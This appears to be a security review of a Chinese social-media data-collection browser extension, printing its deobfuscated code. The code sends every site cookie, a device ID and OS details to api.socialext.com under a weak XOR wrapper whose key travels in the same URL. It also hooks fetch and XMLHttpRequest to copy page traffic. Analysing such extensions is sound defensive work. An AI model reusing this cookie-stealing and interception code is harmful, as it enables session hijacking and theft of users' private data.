Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?

// Receives the parsed profile forwarded by the page content script.onMessage('collect', async ({ data, sender }) => {  if (!sender.url) return;  const platform = platformFromUrl(sender.url)?.code;   // tiktok / douyin / bilibili / ...  if (!platform) return;  const { account, version } = data;  // Rate-limit: at most once per platform+version every 30 minutes.  const last = await lastCollectTime.getValue().catch(() => ({}));  const key = `${platform}-${version}`;  if (last[key] && Date.now() - last[key] < 1800 * 1000) return;  lastCollectTime.setValue({ ...last, [key]: Date.now() });  // Gather everything.  const cookies   = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site  const platInfo  = await chrome.runtime.getPlatformInfo();  const deviceId  = await storedDeviceId.getValue().catch(() => '');  const appVer    = chrome.runtime.getManifest().version;  const payload = { account, accountVersion: version, deviceId, cookies,                    version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os };  // XOR-wrap with a random key, then send the key alongside the ciphertext.  const cipher = new XorCodec();  const body   = cipher.encrypt(JSON.stringify(payload));  const hexKey = cipher.getHexKey();  await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {    method: 'POST',    headers: { 'Content-Type': 'application/octet-stream',               'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId },    body  });});

// Installs a fetch hook scoped to the current site's hostname suffix.function installFetchHook(hostSuffix) {  const nativeFetch = window.fetch;  window.fetch = async function (input, init) {    const response = await nativeFetch(input, init);    const url = typeof input === 'string' ? input : input.url;    if (url.endsWith(hostSuffix)) {                 // e.g. '.xiaohongshu.com'      const reader = response.clone().body.getReader(); // read a private copy      const body = await readAll(reader);      let result; try { result = JSON.parse(body); } catch {}      forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result });    }    return response;                                // page still gets its data  };}

// Installs an XMLHttpRequest hook that captures request + response.function installXhrHook() {  const nativeOpen = XMLHttpRequest.prototype.open;  const nativeSend = XMLHttpRequest.prototype.send;  XMLHttpRequest.prototype.open = function (...args) {    this.openArgs = args;                            // [method, url, ...]    return nativeOpen.apply(this, args);  };  XMLHttpRequest.prototype.send = function (body) {    this.addEventListener('load', () => {      const [method, url] = this.openArgs;      forwardToExtension('response', { url, method, body, result: tryParse(this.response) });    });    return nativeSend.call(this, body);  };}

class XorCodec {  constructor() {    this.key = this.generateRandomKey(16);          // 16 random bytes  }  generateRandomKey(n) {    const k = new Uint8Array(n);    crypto.getRandomValues(k);    return k;  }  encryptBytes(bytes) {    const out = new Uint8Array(bytes.length);    for (let i = 0; i < bytes.length; i++)      out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR    return out;  }  encrypt(text) {    return this.encryptBytes(new TextEncoder().encode(text));  }  getHexKey() {    return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join('');  }}

const codec  = new XorCodec();const body   = codec.encrypt(JSON.stringify(payload)); // ciphertextconst hexKey = codec.getHexKey();                      // the key to read it// The key is placed in the SAME request URL as the ciphertext:await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {  method: 'POST',  headers: { 'Content-Type': 'application/octet-stream' },  body});